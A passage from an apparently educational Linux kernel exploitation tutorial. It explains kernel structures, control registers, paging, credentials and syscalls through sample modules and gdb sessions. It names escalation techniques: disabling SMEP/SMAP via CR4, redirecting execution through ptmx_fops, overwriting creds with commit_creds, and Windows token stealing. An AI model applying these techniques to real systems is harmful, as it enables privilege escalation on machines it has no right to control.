major(on first function only) and minor. It is defined as follows: struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ... } __randomize_layout; There are similiar structs too, such as inode_operations, block_device_operations and tty_operations… But they all provide handlers to userspace function if the file/inode/blockdev/tty is the target. These are sometimes used by the attacker in order to redirect execution such as perf_fops or ptmx_fops. The kernel provides some structs for lists with different search times. The first being double linked-list, list_head, it’s definition is simple, pointing to the next and previous list_head. struct list_head { struct list_head *next, *prev; }; While the second is redblack tree, rb_node, provides better search time. struct rb_node { unsigned long __rb_parent_color; struct rb_node *rb_right; struct rb_node *rb_left; } __attribute__((aligned(sizeof(long)))); It can be used to find the target value faster, if it’s bigger than the first node(head), then go right, else, go left. Function container_of() can then be used to extract the container struct. Note: Each device, can have multiple minors, but it’ll necessarily have a single major. root@Nwwz:/# cd /dev root@Nwwz:/dev# ls -l total 0 crw------- 1 root root [10], 175 Feb 9 09:24 agpgart | *-> Same major, different minors. | crw-r--r-- 1 root root [10], 235 Feb 9 09:24 autofs drwxr-xr-x 2 root root 160 Feb 9 09:24 block drwxr-xr-x 2 root root 80 Feb 9 09:24 bsg (SNIP) [c]rw-rw-rw- 1 root tty [5], [2] Feb 9 12:06 ptmx | | | | | *--> Minor *---> Character Device *---> Major (SNIP) [b]rw-rw---- 1 root cdrom [11], [0] Feb 9 09:24 sr0 | | | | | *--> Minor *---> Block Device *---> Major (SNIP) Debug a module: When we started gdb, the only image it was aware of, is the vmlinux one. It doesn’t know about the loaded module, and doesn’t know about the load location. In order to provide these things and make debugging the module possible, one has to first transfer the target module to DebianHOST. root@Nwwz:~/mod# service ssh start Once that’s done, one should find different sections and addresses of the LKM in memory: root@Nwwz:~/mod# insmod simple.ko root@Nwwz:~/mod# cd /sys/module/simple/sections root@Nwwz:/sys/module/simple/sections# ls -la total 0 drwxr-xr-x 2 root root 0 Aug 11 06:30 . drwxr-xr-x 5 root root 0 Aug 2 17:55 .. -r-------- 1 root root 4096 Aug 11 06:31 .bss -r-------- 1 root root 4096 Aug 11 06:31 .data -r-------- 1 root root 4096 Aug 11 06:31 .gnu.linkonce.this_module -r-------- 1 root root 4096 Aug 11 06:31 __mcount_loc -r-------- 1 root root 4096 Aug 11 06:31 .note.gnu.build-id -r-------- 1 root root 4096 Aug 11 06:31 .orc_unwind -r-------- 1 root root 4096 Aug 11 06:31 .orc_unwind_ip -r-------- 1 root root 4096 Aug 11 06:31 .rodata.str1.1 -r-------- 1 root root 4096 Aug 11 06:31 .rodata.str1.8 -r-------- 1 root root 4096 Aug 11 06:31 .strtab -r-------- 1 root root 4096 Aug 11 06:31 .symtab -r-------- 1 root root 4096 Aug 11 06:31 .text root@Nwwz:/sys/module/simple/sections# cat .text 0xffffffffc054c000 root@Nwwz:/sys/module/simple/sections# cat .data 0xffffffffc054e000 root@Nwwz:/sys/module/simple/sections# cat .bss 0xffffffffc054e4c0 Back to DebianHOST and in gdb: (gdb) add-symbol-file simple.ko 0xffffffffc054c000 -s .data 0xffffffffc054e000 -s .bss 0xffffffffc054e4c0 And that’s it. Chapter II: Overview on security and General understanding “Uuuuh, it’s simple?” Control Registers: CRs are special registers, being invisible to the user, they hold important information on the current CPU and the process running on it. x86_32 and x86_64: Keep in mind that their sizes are different(64bit for x86_64, 32bit for x86_32). CR0: x32 and x64: #0: PE(Protected Mode Enable) #1: MP(Monitor co-processor) #2: EM(Emulation) #3: TS(Task Switched) #4: ET(Extension Type) #5: NE(Numeric Error) #6-15: Reserved #16: WP(Write Protect) #17: Reserved #18: AM(Alignment Mask) #19-28: Reserved #29: NW(Not-Write Through) #30: CD(Cache Disable) #31: PG(Paging) x64 only: #32-61: Reserved CR2: Solely containing the PFLA(Page Fault Linear Address) address, which would later be extracted using do_page_fault function and passed to __do_page_fault to handle it. dotraplinkage void notrace do_page_fault(struct pt_regs *regs, unsigned long error_code) { unsigned long address = read_cr2(); /* Get the faulting address */ enum ctx_state prev_state; prev_state = exception_enter(); if (trace_pagefault_enabled()) trace_page_fault_entries(address, regs, error_code); __do_page_fault(regs, error_code, address); exception_exit(prev_state); } NOKPROBE_SYMBOL(do_page_fault); CR3: This register contains the physical address of the current process PGD(Page Global Directory), which(once converted back to virtual address) would link to the next level(P4D on five-level page tables or PUD on four-level page tables), but in the end, it’s all to find the same struct, that is, struct page. static inline unsigned long read_cr3_pa(void) { return __read_cr3() & CR3_ADDR_MASK; } static inline unsigned long native_read_cr3_pa(void) { return __native_read_cr3() & CR3_ADDR_MASK; } static inline void load_cr3(pgd_t *pgdir) { write_cr3(__sme_pa(pgdir)); } This is called as an example when an Oops happens, and the kernel calls dump_pagetable(). CR4: x32 and x64: #0: VME(Virtual-8086 Mode Extensions) #1: PVI(Protected Mode Virtual Interrupts) #2: TSD(Time Stamp Disable) #3: DE(Debugging Extensions) #4: PSE(Page Size Extensions) #5: PAE(Physical Address Extensions) #6: MCE(Machine Check Enable) #7: PGE(Page Global Enable) #8: PCE(Performance-Monitoring Counter Enable) #9: OSFXSR(OS Support for FXSAVE and FXRSTOR Instructions) #10: OSXMMEXCPT(OS Support for Unmasked SIMD Floating Point Exceptions) #11: UMIP(User-Mode Instruction Prevention) #12: Reserved #13: VMXE(Virtual Machine Extensions Enable) #14: SMXE(Safer Mode Extensions Enable) #15-16: Reserved #17: PCIDE(PCID Enable) #18: OSXSAVE(XSAVE and Processor Extended States Enable) #19: Reserved #20: SMEP(Supervisor Mode Execution Prevention) #21: SMAP(Supervisor Mode Access Prevention) #22-31: Reserved x64 only: #31-63: Reserved CR1 and CR5 to CR7: Marked as reserved, accessing them would result in raising the Undefined Behavior(#UD) exception. x86_64 only: CR8: Only the first 4 bits are used in this one, while the other 60 bits are reserved(0). Also called TPR(Task Priority Register). Those 4 bits are used when servicing interrupts, checking if the task should really be interrupted. It may or may not, depending on the interrupt’s priority: (IP <= TP ? PASS:SERVICE). They differ from architecture to another, while the previous example reviewed two CISC(x86_32, x86_64). Windows itself does have much similiarities at this level: image.png838x489 28.3 KB The thing is a little bit more different in RISC(ARM for this example): Instead of Control Registers, they are named Coprocessors(P0 to P15), each Coprocessor holds 16 registers(C0 to C15). Note however, that only CP14 and CP15 are very important to the system. MCR and MRC Instructions are available to deal with data transfer(read/write). An example for the TTBR(Translation Table Base Register) is as follows: image.png732x31 10.1 KB SMAP: Stands for Supervisor Mode Access Prevention, as it’s name suggests, prevents access to user-space from a more privileged context, that is, ring zero. However, since access may still be necessary in certain occasions, a flag is dedicated(AC in EFLAGS) to this purpose, along with two instructions to set or clear it: CLAC: image.png906x109 29.2 KB STAC: image.png890x111 29.3 KB static __init int setup_disable_smap(char *arg) { setup_clear_cpu_cap(X86_FEATURE_SMAP); return 1; } __setup("nosmap", setup_disable_smap); It can be disabled with nosmap boot flag, which would clear the CPU’s SMAP capability, or by unsetting the SMAP bit(#21) on CR4. SMEP: An abbreviation for Supervisor Mode Execution Prevention, when running on ring zero, execution would not be allowed to be transmitted to user-space. So both SMEP and SMAP put a form of limitation on the attacker’s surface. static __init int setup_disable_smep(char *arg) { setup_clear_cpu_cap(X86_FEATURE_SMEP); check_mpx_erratum(&boot_cpu_data); return 1; } __setup("nosmep", setup_disable_smep); Knowing if it’s on is as simple as checking /proc/cpuinfo, and it’s the same for SMAP. This protection can be disabled with nosmep boot flag, it can also be disabled during runtime by unsetting SMEP bit(#20) on CR4. Write-Protect: Since code executing at the highest level of privilege should normally be capable of writting to all pages even those marked as RO(Read Only). However, a bit in CR0(WP bit(16th)) is supposed to stop that from happening, by providing additional checks. Paging(a bit of segmentation too): Linux does separate privileges. the processor can handle up to 4 different rings, starting from 0 which obviously is the most privileged and ending with 3 being the least privileged with limited access to system resources. However, most operating systems do work with only two rings, zero(also called kernel-space) and three(or user-space). Each running process does have a struct mm_struct which fully describes it’s virtual memory space. But when it comes to segmentation and paging, we’re only interested in few objects in this struct: context, the single-linked list mmap and pgd. typedef struct { u64 ctx_id; atomic64_t tlb_gen; #ifdef CONFIG_MODIFY_LDT_SYSCALL struct rw_semaphore ldt_usr_sem; struct ldt_struct *ldt; #endif #ifdef CONFIG_X86_64 unsigned short ia32_compat; #endif struct mutex lock; void __user *vdso; const struct vdso_image *vdso_image; atomic_t perf_rdpmc_allowed; #ifdef CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS u16 pkey_allocation_map; s16 execute_only_pkey; #endif #ifdef CONFIG_X86_INTEL_MPX void __user *bd_addr; #endif } mm_context_t; This struct holds many information on the context, including the Local descriptor table(LDT), the VDSO image and base address(residing in user-space __user), a read/write semaphore and a mutual exclusion lock(it’s a semaphore too, remember?). struct ldt_struct { struct desc_struct *entries; unsigned int nr_entries; int slot; }; The first element in the LDT is a desc_struct pointer, referencing an array of entries, nr_entries of them. However, know that LDT isn’t usually set up, it would only use the Global Descriptor Table, it’s enough for most processes. DEFINE_PER_CPU_PAGE_ALIGNED(struct gdt_page, gdt_page) = { .gdt = { #ifdef CONFIG_X86_64 [GDT_ENTRY_KERNEL32_CS] = GDT_ENTRY_INIT(0xc09b, 0, 0xfffff), [GDT_ENTRY_KERNEL_CS] = GDT_ENTRY_INIT(0xa09b, 0, 0xfffff), [GDT_ENTRY_KERNEL_DS] = GDT_ENTRY_INIT(0xc093, 0, 0xfffff), [GDT_ENTRY_DEFAULT_USER32_CS] = GDT_ENTRY_INIT(0xc0fb, 0, 0xfffff), [GDT_ENTRY_DEFAULT_USER_DS] = GDT_ENTRY_INIT(0xc0f3, 0, 0xfffff), [GDT_ENTRY_DEFAULT_USER_CS] = GDT_ENTRY_INIT(0xa0fb, 0, 0xfffff), #else [GDT_ENTRY_KERNEL_CS] = GDT_ENTRY_INIT(0xc09a, 0, 0xfffff), [GDT_ENTRY_KERNEL_DS] = GDT_ENTRY_INIT(0xc092, 0, 0xfffff), [GDT_ENTRY_DEFAULT_USER_CS] = GDT_ENTRY_INIT(0xc0fa, 0, 0xfffff), [GDT_ENTRY_DEFAULT_USER_DS] = GDT_ENTRY_INIT(0xc0f2, 0, 0xfffff), [GDT_ENTRY_PNPBIOS_CS32] = GDT_ENTRY_INIT(0x409a, 0, 0xffff), [GDT_ENTRY_PNPBIOS_CS16] = GDT_ENTRY_INIT(0x009a, 0, 0xffff), [GDT_ENTRY_PNPBIOS_DS] = GDT_ENTRY_INIT(0x0092, 0, 0xffff), [GDT_ENTRY_PNPBIOS_TS1] = GDT_ENTRY_INIT(0x0092, 0, 0), [GDT_ENTRY_PNPBIOS_TS2] = GDT_ENTRY_INIT(0x0092, 0, 0), [GDT_ENTRY_APMBIOS_BASE] = GDT_ENTRY_INIT(0x409a, 0, 0xffff), [GDT_ENTRY_APMBIOS_BASE+1] = GDT_ENTRY_INIT(0x009a, 0, 0xffff), [GDT_ENTRY_APMBIOS_BASE+2] = GDT_ENTRY_INIT(0x4092, 0, 0xffff), [GDT_ENTRY_ESPFIX_SS] = GDT_ENTRY_INIT(0xc092, 0, 0xfffff), [GDT_ENTRY_PERCPU] = GDT_ENTRY_INIT(0xc092, 0, 0xfffff), GDT_STACK_CANARY_INIT #endif } }; EXPORT_PER_CPU_SYMBOL_GPL(gdt_page); A per-cpu variable gdt_page is initialized using the GDT_ENTRY_INIT macro. #define GDT_ENTRY_INIT(flags, base, limit) \ { \ .limit0 = (u16) (limit), \ .limit1 = ((limit) >> 16) & 0x0F, \ .base0 = (u16) (base), \ .base1 = ((base) >> 16) & 0xFF, \ .base2 = ((base) >> 24) & 0xFF, \ .type = (flags & 0x0f), \ .s = (flags >> 4) & 0x01, \ .dpl = (flags >> 5) & 0x03, \ .p = (flags >> 7) & 0x01, \ .avl = (flags >> 12) & 0x01, \ .l = (flags >> 13) & 0x01, \ .d = (flags >> 14) & 0x01, \ .g = (flags >> 15) & 0x01, \ } This macro simply takes three arguments, and splits them in order to store at each field a valid value. The GDT holds more entries on 32bit than on 64bit. struct gdt_page { struct desc_struct gdt[GDT_ENTRIES]; } __attribute__((aligned(PAGE_SIZE))); Says that gdt_page is an array of GDT_ENTRIES(32 on x86_32, 16 on x86_64) much of desc_struct aligned to PAGE_SIZE(usually 4KB(4096)). struct desc_struct { u16 limit0; u16 base0; u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1; u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8; } __attribute__((packed)); When an ELF is about to run, and is being loaded with load_elf_binary(), it does call setup_new_exec(), install_exec_creds() on bprm before it calls setup_arg_pages() which would pick a random stack pointer. Before returning successfully, it would call finalize_exec() and start_thread() which would update the stack’s rlimit and begin execution respectively: void start_thread(struct pt_regs *regs, unsigned long new_ip, unsigned long new_sp) { start_thread_common(regs, new_ip, new_sp, __USER_CS, __USER_DS, 0); } EXPORT_SYMBOL_GPL(start_thread); As you are able to see, this function is just a wrapper around start_thread_common(): static void start_thread_common(struct pt_regs *regs, unsigned long new_ip, unsigned long new_sp, unsigned int _cs, unsigned int _ss, unsigned int _ds) { WARN_ON_ONCE(regs != current_pt_regs()); if (static_cpu_has(X86_BUG_NULL_SEG)) { loadsegment(fs, __USER_DS); load_gs_index(__USER_DS); } loadsegment(fs, 0); loadsegment(es, _ds); loadsegment(ds, _ds); load_gs_index(0); regs->ip = new_ip; regs->sp = new_sp; regs->cs = _cs; regs->ss = _ss; regs->flags = X86_EFLAGS_IF; force_iret(); } As a conclusion, every process starts with default segment registers, but different GPRs, stack and instruction pointer, and by looking at __USER_DS and __USER_CS: #define GDT_ENTRY_DEFAULT_USER_DS 5 #define GDT_ENTRY_DEFAULT_USER_CS 6 #define __USER_DS (GDT_ENTRY_DEFAULT_USER_DS*8 + 3) #define __USER_CS (GDT_ENTRY_DEFAULT_USER_CS*8 + 3) We would find the segment registers and their values on user-space: Initial state: CS = 6*8+3 = 0x33 SS = 5*8+3 = 0x2b DS = FS = ES = 0 These values can be checked using GDB and a dummy binary. (gdb) b* main Breakpoint 1 at 0x6b0 (gdb) r Starting program: /root/mod/cs Breakpoint 1, 0x00005555555546b0 in main () (gdb) info reg cs ss cs 0x33 51 ss 0x2b 43 Also, you should know that, CS holds in it’s least 2 significant bits, the Current Privilege Level(CPL), other segment selectors hold the Requested Privilege Level(RPL) instead of CPL. (gdb) p/t $cs $1 = 110011 (gdb) p/x $cs & 0b11 $2 = 0x3 # (Privilege Level: User(3) SuperUser(0)) (gdb) p/d $cs & ~0b1111 $3 = 48 # (Table Offset: 48) (gdb) p/d $cs & 0b100 $4 = 0 # (Table Indicator: GDT(0) LDT(1)) 3 stands for the third ring, least privileged, that is, user-space. It doesn’t change, unless the execution is in kernel-space, so it’s similiar for both root and any normal user. So both RPL and CPL could be considered a form of limitation when accessing segments with lower(more privileged) DPL(Descriptor Privilege Level). When it comes to paging, it’s equivalent bit in CR0(#31) is only set when the system is running in protected mode(PE bit in CR0 is set), because in real mode, virtual address are equal to physical ones. Linux moved from four-level page tables to support five-level page tables by adding an additional layer(P4D), so the levels now are: PGD P4D PUD PMD PTE. PGD is the first level Page Global Directory, it is a pointer of type pgd_t, and it’s definition is: typedef struct { pgdval_t pgd; } pgd_t; It holds a pgdval_t inside, which is an unsigned long(8 bytes on x86_64, 4 on x86_32? typedef unsigned long pgdval_t; To get to the next level, pagetable_l5_enabled() is called to check if the CPU has X86_FEATURE_LA57 enabled. #define pgtable_l5_enabled() cpu_feature_enabled(X86_FEATURE_LA57) This can be seen in p4d_offset(): static inline p4d_t *p4d_offset(pgd_t *pgd, unsigned long address) { if (!pgtable_l5_enabled()) return (p4d_t *)pgd; return (p4d_t *)pgd_page_vaddr(*pgd) + p4d_index(address); } If it isn’t enabled, it simply casts the pgd_t * as p4d_t * and returns it, otherwise it returns the P4D entry within the PGD that links to the specific address. Then P4D itself can be used to find the next level, which is PUD of type pud_t *, PUD links to PMD(Page Middle Directory) and PMD to the PTE(Page Table Entry) which is the last level, and contains the physical address of the page with some protection flags and is of type pte_t *. Each process has it’s own virtual space(mm_struct, vm_area_struct and pgd_t). struct vm_area_struct { unsigned long vm_start; unsigned long vm_end; struct vm_area_struct *vm_next, *vm_prev; struct rb_node vm_rb; unsigned long rb_subtree_gap; struct mm_struct *vm_mm; pgprot_t vm_page_prot; unsigned long vm_flags; struct { struct rb_node rb; unsigned long rb_subtree_last; } shared; struct list_head anon_vma_chain; struct anon_vma *anon_vma; const struct vm_operations_struct *vm_ops; unsigned long vm_pgoff; struct file * vm_file; void * vm_private_data; atomic_long_t swap_readahead_info; #ifndef CONFIG_MMU struct vm_region *vm_region; #endif #ifdef CONFIG_NUMA struct mempolicy *vm_policy; #endif struct vm_userfaultfd_ctx vm_userfaultfd_ctx; } __randomize_layout; typedef struct { pgdval_t pgd; } pgd_t; So creating a new process would be very expensive on performance. Copy-on-Write(COW) comes in helpful here, by making a clone out of the parent process and only copying when a write happens to the previously marked read-only pages. This happens on fork and more specifically in copy_process(), which duplicates the task_struct and does specific operations depending on flags passed to clone(), before copying all parent information which includes credentials, filesystem, files, namespaces, IO, Thread Local Storage, signal, address space. As an example, this walks VMAs in search of a user specified address, once found, it gets its Physical address and Flags by walking page tables. #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> #include <linux/sched.h> #include <linux/uaccess.h> #include <asm/pgtable.h> #include <linux/highmem.h> #include <linux/slab.h> #define device_name "useless" #define SET_ADDRESS 0x00112233 char *us_buf; unsigned long address = 0; long do_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){ switch(cmd){ case SET_ADDRESS: address = arg; return 0; default: return -EINVAL; } } ssize_t do_read(struct file *filp, char *buf, size_t count, loff_t *offp){ int res, phys, flags; struct vm_area_struct *cmap; pgd_t *pgd; p4d_t *p4d; pud_t *pud; pmd_t *pmd; pte_t *ptep; /* Find corresponding VMA */ cmap = current->mm->mmap; while(1){ if(cmap->vm_start >= address && address < cmap->vm_end){ break; } cmap = cmap->vm_next; if(cmap == NULL){ return -1; } }; /* Walking Page-tables for fun */ pgd = pgd_offset(current->mm, address); p4d = p4d_offset(pgd, address); pud = pud_offset(p4d, address); pmd = pmd_offset(pud, address); ptep = pte_offset_kernel(pmd, address); phys = *((int *) ptep); flags = phys & 0xfff; phys &= ~0xfff; snprintf(us_buf, 64, "PhysAddr(%x) VMAStart(%lx) Flags(%x)", phys, cmap->vm_start, flags); if(count > 64) count = 64; res = copy_to_user(buf, us_buf, count); return res; } struct file_operations fileops = { .owner = THIS_MODULE, .read = do_read, .unlocked_ioctl = do_ioctl, }; static int us_init(void){ struct proc_dir_entry *res; us_buf = kmalloc(64, GFP_KERNEL); if(us_buf == NULL){ printk(KERN_ERR "Couldn't reserve memory."); return -ENOMEM; } res = proc_create(device_name, 0, NULL, &fileops); if(res == NULL){ printk(KERN_ERR "Failed allocating a proc entry."); return -ENOMEM; } return 0; } static void us_exit(void){ remove_proc_entry(device_name, NULL); kfree(us_buf); } MODULE_LICENSE("GPU"); module_init(us_init); module_exit(us_exit); To communicate with this proc entry, the following was written: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define device_path "/proc/useless" #define SET_ADDRESS 0x00112233 void main(void){ int fd; char *ok; char c[64]; fd = open(device_path, O_RDONLY); ok = malloc(512); memcpy(ok, "Welp", sizeof(int )); ioctl(fd, SET_ADDRESS, ok); read(fd, c, sizeof( c)); printf("%s\n", &c); } This gives: 0x867 in binary is: 100001100111. Present: 1 (The page is present) R/W: 1 (The page have both read and write permissions) U/S: 1 (The page can be accessed by the user and supervisor) 00 Accessed: 1 (Set if the page had been accessed) Dirty: 1 (Set if the page was written to since last writeback) 0000 Note that necessary checks on validity of return values was ignored in this example, these could be performed with p??_none() and p??_present(), and multiple other things could have been done, such as playing with the PFN or page or reading from the Physical Address with void __iomem *, ioremap() and memcpy_fromio() or struct page * and kmap(). Translating address from virtual to physical takes time, so caching is implemented using the TLB(Translation Lookaside Buffer) to improve the performance, hopefully that the next access is going to land a cache-hit and that’ll hand the PTE faster than a miss where a memory access is forced to happen to get it. The TLB flushes from time to another, an example would be after a page fault is raised and completed. Processes: The kernel sees each process as a struct task_struct which is a huge struct that contains many fields which we can’t cover entirely, some are used to guarantee the (almost) fair scheduling and some show the task’s state(if it’s either unrunnable, runnable or stopped), priority, the parent process, a linked list of children processes, the address space it holds, and many others. We are mainly interested in the const struct cred __rcu *cred; which holds the task’s credentials. struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; kgid_t gid; kuid_t suid; kgid_t sgid; kuid_t euid; kgid_t egid; kuid_t fsuid; kgid_t fsgid; unsigned securebits; kernel_cap_t cap_inheritable; kernel_cap_t cap_permitted; kernel_cap_t cap_effective; kernel_cap_t cap_bset; kernel_cap_t cap_ambient; #ifdef CONFIG_KEYS unsigned char jit_keyring; struct key __rcu *session_keyring; struct key *process_keyring; struct key *thread_keyring; struct key *request_key_auth; #endif #ifdef CONFIG_SECURITY void *security; #endif struct user_struct *user; struct user_namespace *user_ns; struct group_info *group_info; struct rcu_head rcu; } __randomize_layout; This struct holds Capabilities, ((effective) user and group) ID, keyrings, (for synchronization, Read-Copy-Update) RCU, (tracks the user’s usage of the system by keeping counts) user and (holds U/G ID and the privileges for them) user_ns. In order to better understand this structure, a simple proc entry was created which extracts the task_struct of the process that uses it(current) and reads the effective UID and GID. #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> #include <linux/sched.h> #include <linux/uaccess.h> #include <linux/cred.h> #include <linux/uidgid.h> #define device_name "useless" #define SD_PRIV 0x10071007 struct{ kuid_t ceuid; kgid_t cegid; spinlock_t clock; }us_cd; long do_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){ int res; switch(cmd){ case SD_PRIV: spin_lock(&us_cd.clock); current_euid_egid(&us_cd.ceuid, &us_cd.cegid); spin_unlock(&us_cd.clock); res = copy_to_user((void *)arg, &us_cd, 8); return res; default: return -EINVAL; } } struct file_operations fileops = { .owner = THIS_MODULE, .unlocked_ioctl = do_ioctl, }; static int us_init(void){ struct proc_dir_entry *res; spin_lock_init(&us_cd.clock); res = proc_create(device_name, 0, NULL, &fileops); if(res == NULL){ printk(KERN_ERR "Failed allocating a proc entry."); return -ENOMEM; } return 0; } static void us_exit(void){ remove_proc_entry(device_name, NULL); } MODULE_LICENSE("GPU"); module_init(us_init); module_exit(us_exit); The initialization process starts by preparing the spinlock and creating a proc entry with a specified name “useless” and a file_operations struct containing only necessary owner and unlocked_ioctl entries. While the ioctl handler simply checks if the command passed was SD_PRIV to extract the UID and GID with a call to the current_euid_egid() macro which in turn calls current_cred() to extract the current->cred: #define current_euid_egid(_euid, _egid) \ do { \ const struct cred *__cred; \ __cred = current_cred(); \ *(_euid) = __cred->euid; \ *(_egid) = __cred->egid; \ } while(0) #define current_cred() \ rcu_dereference_protected(current->cred, 1) Then, we create a tasktry.c to interract with the /proc/useless. #include <stdio.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define device_path "/proc/useless" #define SD_PRIV 0x10071007 struct{ unsigned int uid; unsigned int gid; }data; void main(void){ int fd; fd = open(device_path, O_RDONLY); ioctl(fd, SD_PRIV, &data); printf("UID: %d GID: %d\n", data.uid, data.gid); } Two binaries are then created in /tmp directory, one which is compiled by root(setuid bit set) tasktry_root and the other by a normal user called tasktry_user. root@Nwwz:~# cd /tmp root@Nwwz:/tmp# gcc tasktry.c -o tasktry_root; chmod u+s tasktry_root root@Nwwz:/tmp# cd /root/mod root@Nwwz:~/mod# make make -c /lib/modules/4.17.0/build M=/root/mod modules make[1]: Entering directory '/usr/src/linux-4.17.2' CC [M] /root/mod/task.o Building modules, stage 2. MODPOST 1 modules CC /root/mod/task.mod.o LD [M] /root/mod/task.ko make[1]: Leaving directory '/usr/src/linux-4.17.2' root@Nwwz:~/mod# insmod task.ko root@Nwwz:~/mod# su - user user@Nwwz:~$ cd /tmp user@Nwwz:/tmp$ gcc tasktry.c -o tasktry_user user@Nwwz:/tmp$ ls tasktry_user tasktry_root tasktry.c user@Nwwz:/tmp$ ./tasktry_root UID: 0 GID: 1000 user@Nwwz:/tmp$ ./tasktry_user UID: 1000 GID: 1000 As you can see, the effective UID of tasktry_root is 0 making it own high privileges, so overwritting effective creds is one way to privilege escalation(prepare_kernel_creds() and commit_creds() are used for this purpose in most exploits, instead of getting the stack base and overwritting it directly.), another is to change capabilities. On Windows, one way to escalate privileges would be to steal the token of System process(ID 4) and assign it to the newly spawned cmd.exe after changing the reference count: image.png910x355 33.2 KB Syscalls: Processes running in userspace can still communicate with the kernel, thanks to syscalls. Each syscall is defined as follows: SYSCALL_DEFINE0(getpid) { return task_tgid_vnr(current); } With multiple arguments: SYSCALL_DEFINE3(lseek, unsigned int, fd, off_t, offset, unsigned int, whence) { return ksys_lseek(fd, offset, whence); } So, in general: SYSCALL_DEFINE[ARG_COUNT]([SYSCALL_NAME], [ARG_TYPE], [ARG_NAME]){ /* Passing the argument to another function, for processing. */ return call_me([ARG_NAME]); } Few tries aaand : #include <stdio.h> #include <string.h> #include <unistd.h> int main(void){ printf("ID: %d\n", getuid()); return 0; } Running this sample with GDB and putting breakpoint on the x64 libc, we can see that it does set EAX register to 0x66(syscall number on x64) before the syscall instruction. (gdb) x/i $rip => 0x555555554704 <main+4>: callq 0x5555555545a0 <getuid@plt> (gdb) x/x getuid 0x7ffff7af2f30 <getuid>: 0x000066b8 (gdb) b* getuid Breakpoint 2 at 0x7ffff7af2f30: file ../sysdeps/unix/syscall-template.S, line 65. (gdb) c Continuing. Breakpoint 2, getuid () at ../sysdeps/unix/syscall-template.S:65 65 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) disas $rip Dump of assembler code for function getuid: => 0x00007ffff7af2f30 <+0>: mov $0x66,%eax 0x00007ffff7af2f35 <+5>: syscall 0x00007ffff7af2f37 <+7>: retq End of assembler dump. (gdb) shell root@Nwwz:~# echo "g" > /proc/sysrq-trigger We can invoke a shell from GDB to force SysRQ, and see what this offset in the kernel links for: [New Thread 756] [New Thread 883] [New Thread 885] Thread 103 received signal SIGTRAP, Trace/breakpoint trap. [Switching to Thread 889] kgdb_breakpoint () at kernel/debug/debug_core.c:1073 10733 wmb(); /* Sync point after breakpoint */ (gdb) p &sys_call_table $1 = (const sys_call_ptr_t (*)[]) 0xffffffff81c00160 <sys_call_table> (gdb) x/gx (void *)$1 + 0x66*8 0xffffffff81c00490 <sys_call_table+816>: 0xffffffff8108ec60 (gdb) x/i 0xffffffff8108ec60 0xffffffff8108ec60 <__x64_sys_getuid>: nopl 0x0(%rax,%rax,1) So, it’s the global sys_call_table, indexing the __x64_sys_getuid there. "The __x64_sys_*() stubs are created on-the-fly for sys_*() system calls" is written in syscall_64.tbl that contains all the syscalls available to the kernel. This is similiar to the nt!KiServiceTable on Windows. kd> dps nt!KeServiceDescriptorTable 82b759c0 82a89d9c nt!KiServiceTable 82b759c4 00000000 82b759c8 00000191 82b759cc 82a8a3e4 nt!KiArgumentTable 82b759d0 00000000 82b759d4 00000000 kd> dd nt!KiServiceTable 82a89d9c 82c85c28 82acc40d 82c15b68 82a3088a 82a89dac 82c874ff 82b093fa 82cf7b05 82cf7b4e 82a89dbc 82c0a3bd 82d11368 82d125c1 82c00b95 kd> ln 82c85c28 (82c85c28) nt!NtAcceptConnectPort | (82c85ca5) nt!EtwpRundownNotifications Exact matches: nt!NtAcceptConnectPort = <no type information> kd> ln 82acc40d (82acc40d) nt!NtAccessCheck | (82acc43e) nt!PsGetThreadId Exact matches: nt!NtAccessCheck = <no type information> kd> ln 82d125c1 (82d125c1) nt!NtAddDriverEntry | (82d125f3) nt!NtDeleteDriverEntry Exact matches: nt!NtAddDriverEntry = <no type information> Dissasembling it gives us: (gdb) disas __x64_sys_getuid Dump of assembler code for function __x64_sys_getuid: 0xffffffff8108ec60 <+0>: nopl 0x0(%rax,%rax,1) 0xffffffff8108ec65 <+5>: mov %gs:0x15c00,%rax 0xffffffff8108ec6e <+14>: mov 0x668(%rax),%rax 0xffffffff8108ec75 <+21>: mov 0x4(%rax),%esi 0xffffffff8108ec78 <+24>: mov 0x88(%rax),%rdi 0xffffffff8108ec7f <+31>: callq 0xffffffff8112d4a0 <from_kuid_munged> 0xffffffff8108ec84 <+36>: mov %eax,%eax 0xffffffff8108ec86 <+38>: retq With a basic understanding of ASM and a very limited knowledge of the kernel (AT&T haha, too lazy to switch the syntax .), one can know that it does first search for the current task, store some pointer it holds at offset 0x668 at RAX before dereferencing it again and using content at +0x88(RDI) and +0x4(RSI) as arguments to the from_kuid_munged call before it nops and returns(q there stands for qword). We can verify this either by looking at the source: SYSCALL_DEFINE0(getuid) { return from_kuid_munged(current_user_ns(), current_uid()); } uid_t from_kuid_munged(struct user_namespace *targ, kuid_t kuid) { uid_t uid; uid = from_kuid(targ, kuid); if (uid == (uid_t) -1) uid = overflowuid; return uid; } EXPORT_SYMBOL(from_kuid_munged); Or checking in GDB(maybe both?? (gdb) b* __x64_sys_getuid Breakpoint 1 at 0xffffffff8108ec60: file kernel/sys.c, line 920. (gdb) c [New Thread 938] [Switching to Thread 938] Thread 122 hit Breakpoint 1, __x64_sys_getuid () at kernel/sys.c:920 920 { (gdb) ni get_current () at ./arch/x86/include/asm/current.h:15 15 return this_cpu_read_stable(current_task); (gdb) x/i $rip => 0xffffffff8108ec65 <__x64_sys_getuid+5>: mov %gs:0x15c00,%rax (gdb) p ((struct task_struct *)0)->cred Cannot access memory at address 0x668 (gdb) p ((struct cred *)0)->uid 